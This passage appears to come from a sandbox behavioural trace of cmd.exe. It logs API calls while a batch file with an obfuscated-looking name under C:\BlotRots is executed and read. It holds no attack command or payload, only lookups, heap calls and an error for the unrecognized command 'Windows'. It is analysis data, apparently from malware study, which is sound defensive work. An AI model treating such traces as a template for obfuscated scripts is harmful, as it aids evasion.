lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.249] GetLastError () returned 0x2 [0161.249] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.249] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.249] GetLastError () returned 0x2 [0161.249] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.249] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.250] GetLastError () returned 0x2 [0161.250] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.250] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.250] GetLastError () returned 0x2 [0161.250] ??_V@YAXPEAX@Z () returned 0x1 [0161.250] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0161.250] malloc (_Size=0xffce) returned 0x20b0fa70920 [0161.251] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0161.251] malloc (_Size=0xffce) returned 0x20b0fa80900 [0161.251] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0161.251] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0161.251] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0161.251] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0161.251] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0161.251] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0161.251] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0161.251] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0161.251] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0161.252] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0161.252] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0161.252] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0161.252] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0161.252] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0161.252] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0161.252] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0161.252] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0161.252] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0161.252] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0161.252] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0161.252] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0161.252] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0161.252] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0161.252] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0161.252] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0161.252] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0161.252] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0161.252] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0161.252] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0161.252] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0161.252] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0161.252] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0161.252] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0161.252] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0161.252] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0161.252] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0161.252] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0161.252] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0161.252] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0161.252] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0161.252] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0161.252] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0161.252] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0161.252] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0161.252] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0161.252] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0161.253] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0161.253] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0161.253] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0161.253] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0161.253] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0161.253] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0161.253] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0161.253] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0161.253] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0161.253] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0161.253] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0161.253] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0161.253] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0161.253] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0161.253] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0161.253] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0161.253] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0161.253] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0161.253] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0161.253] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0161.253] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0161.253] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0161.253] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0161.253] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0161.253] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0161.253] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0161.253] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0161.253] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0161.253] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0161.253] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0161.253] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0161.253] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0161.253] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0161.253] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0161.253] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0161.253] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0161.253] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0161.253] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0161.254] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0161.254] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0161.254] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0161.254] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0161.254] ??_V@YAXPEAX@Z () returned 0x1 [0161.254] GetProcessHeap () returned 0x20b0f920000 [0161.254] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f9466c0 [0161.254] GetProcessHeap () returned 0x20b0f920000 [0161.254] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xde) returned 0x20b0f926da0 [0161.254] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0161.254] malloc (_Size=0xffce) returned 0x20b0fa80900 [0161.254] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0161.255] GetProcessHeap () returned 0x20b0f920000 [0161.255] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f9566b0 [0161.256] SetErrorMode (uMode=0x0) returned 0x0 [0161.256] SetErrorMode (uMode=0x1) returned 0x0 [0161.256] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f9566c0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0161.256] SetErrorMode (uMode=0x0) returned 0x1 [0161.256] GetProcessHeap () returned 0x20b0f920000 [0161.256] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9566b0, Size=0x48) returned 0x20b0f9566b0 [0161.256] GetProcessHeap () returned 0x20b0f920000 [0161.256] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9566b0) returned 0x48 [0161.256] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0161.256] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0161.256] GetProcessHeap () returned 0x20b0f920000 [0161.256] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92d430 [0161.256] GetProcessHeap () returned 0x20b0f920000 [0161.256] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d5f0 [0161.257] GetProcessHeap () returned 0x20b0f920000 [0161.257] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d5f0, Size=0x1b6) returned 0x20b0f92d5f0 [0161.257] GetProcessHeap () returned 0x20b0f920000 [0161.257] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d5f0) returned 0x1b6 [0161.257] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0161.257] GetProcessHeap () returned 0x20b0f920000 [0161.257] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f926e90 [0161.257] GetProcessHeap () returned 0x20b0f920000 [0161.257] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f926e90, Size=0x7e) returned 0x20b0f926e90 [0161.257] GetProcessHeap () returned 0x20b0f920000 [0161.257] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f926e90) returned 0x7e [0161.257] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.257] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d270 [0161.257] FindClose (in: hFindFile=0x20b0f92d270 | out: hFindFile=0x20b0f92d270) returned 1 [0161.257] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.257] GetLastError () returned 0x2 [0161.257] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.257] GetLastError () returned 0x2 [0161.258] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.258] GetLastError () returned 0x2 [0161.258] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.258] GetLastError () returned 0x2 [0161.258] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.258] GetLastError () returned 0x2 [0161.258] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.258] GetLastError () returned 0x2 [0161.258] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.258] GetLastError () returned 0x2 [0161.258] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.258] GetLastError () returned 0x2 [0161.259] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.259] GetLastError () returned 0x2 [0161.259] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.259] GetLastError () returned 0x2 [0161.259] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.259] GetLastError () returned 0x2 [0161.259] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.259] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.259] GetLastError () returned 0x2 [0161.259] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.259] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d150 [0161.259] FindClose (in: hFindFile=0x20b0f92d150 | out: hFindFile=0x20b0f92d150) returned 1 [0161.260] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.260] GetLastError () returned 0x2 [0161.260] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.297] GetLastError () returned 0x2 [0161.297] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.297] GetLastError () returned 0x2 [0161.297] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.298] GetLastError () returned 0x2 [0161.298] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.298] GetLastError () returned 0x2 [0161.298] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.298] GetLastError () returned 0x2 [0161.298] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.298] GetLastError () returned 0x2 [0161.298] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.298] GetLastError () returned 0x2 [0161.298] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.298] GetLastError () returned 0x2 [0161.298] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.299] GetLastError () returned 0x2 [0161.299] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.299] GetLastError () returned 0x2 [0161.299] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.299] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.299] GetLastError () returned 0x2 [0161.299] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.299] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.299] GetLastError () returned 0x2 [0161.299] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.299] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.300] GetLastError () returned 0x2 [0161.300] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.300] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.300] GetLastError () returned 0x2 [0161.300] ??_V@YAXPEAX@Z () returned 0x1 [0161.301] _get_osfhandle (_FileHandle=2) returned 0x54 [0161.301] GetFileType (hFile=0x54) returned 0x2 [0161.301] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0161.301] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0161.315] _get_osfhandle (_FileHandle=2) returned 0x54 [0161.315] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0161.315] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0161.320] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0161.320] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0161.324] ??_V@YAXPEAX@Z () returned 0x1 [0161.326] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.326] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0161.327] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.327] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0161.327] _get_osfhandle (_FileHandle=0) returned 0x4c [0161.327] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0161.327] SetConsoleInputExeNameW () returned 0x1 [0161.327] GetConsoleOutputCP () returned 0x1b5 [0161.327] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0161.327] SetThreadUILanguage (LangId=0x0) returned 0x409 [0161.329] ??_V@YAXPEAX@Z () returned 0x1 [0161.330] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0161.330] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0161.330] _get_osfhandle (_FileHandle=3) returned 0x94 [0161.330] SetFilePointer (in: hFile=0x94, lDistanceToMove=110, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e [0161.330] GetProcessHeap () returned 0x20b0f920000 [0161.330] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926e90) returned 1 [0161.330] GetProcessHeap () returned 0x20b0f920000 [0161.330] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d5f0) returned 1 [0161.330] GetProcessHeap () returned 0x20b0f920000 [0161.330] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0161.330] GetProcessHeap () returned 0x20b0f920000 [0161.330] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9566b0) returned 1 [0161.330] GetProcessHeap () returned 0x20b0f920000 [0161.330] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926da0) returned 1 [0161.330] GetProcessHeap () returned 0x20b0f920000 [0161.330] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9466c0) returned 1 [0161.330] GetProcessHeap () returned 0x20b0f920000 [0161.330] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926d10) returned 1 [0161.330] GetProcessHeap () returned 0x20b0f920000 [0161.330] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0161.330] GetProcessHeap () returned 0x20b0f920000 [0161.331] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926b50) returned 1 [0161.331] GetProcessHeap () returned 0x20b0f920000 [0161.331] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946660) returned 1 [0161.331] GetProcessHeap () returned 0x20b0f920000 [0161.331] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926a70) returned 1 [0161.331] GetProcessHeap () returned 0x20b0f920000 [0161.331] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f928040) returned 1 [0161.332] GetProcessHeap () returned 0x20b0f920000 [0161.332] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9269b0) returned 1 [0161.332] _get_osfhandle (_FileHandle=3) returned 0x94 [0161.332] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6e [0161.332] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x1747, lpOverlapped=0x0) returned 1 [0161.332] SetFilePointer (in: hFile=0x94, lDistanceToMove=119, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x77 [0161.332] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\nndows XP and is listed separately on this page. Syntax in Windows Vista, 7, ... \r\n") returned 9 [0161.332] _get_osfhandle (_FileHandle=3) returned 0x94 [0161.332] GetFileType (hFile=0x94) returned 0x1 [0161.332] _get_osfhandle (_FileHandle=3) returned 0x94 [0161.332] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x77 [0161.332] GetProcessHeap () returned 0x20b0f920000 [0161.332] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, 